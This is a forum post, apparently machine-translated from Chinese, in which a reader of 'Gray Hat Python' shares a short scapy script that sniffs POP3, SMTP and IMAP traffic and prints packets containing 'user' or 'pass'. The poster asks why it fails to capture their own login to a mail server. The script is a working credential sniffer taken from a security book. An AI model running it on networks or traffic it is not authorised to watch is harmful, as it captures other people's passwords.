一个简单的嗅探器,为什么这个简单的程序不能很好地工作?

这几次我在读一本精彩的书,它的名字是《
灰帽蟒蛇
在第四章中,它做了一个邮件嗅探器,但在我的电脑里,它不能嗅探邮件登录数据包。
这是暗号:

选择 | 换行 | 行号
  1. #coding=utf-8
  2. from scapy.all import *
  3. def packet_callback(packet):
  4.     if packet[TCP].payload:
  5.         mail_packet = str(packet[TCP].payload)
  6.         if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
  7. #do not mate the if code
  8.             print ("[*] Server: %s" % packet[IP].dst)
  9.             print ("[*] %s" % packet[TCP].payload)
  10. sniff(filter="tcp port 110 or tcp port 25 or tcp port 143", prn=packet_callback, store=0)
  11.  

Pop3.163.com是一个中文邮件服务器,我用110端口远程登录了它,并尝试了"User and Pass",但我的程序没有嗅到它。
它是否使用了SSL或其他技能来加密数据包?
应该有好心人帮助我吗?
提前谢谢!
附加图像
File Type: jpg
1.jpg
(110.0 KB,52次浏览)
File Type: jpg
2.jpg
(125.8 KB,43个浏览量)

标签: python

添加新评论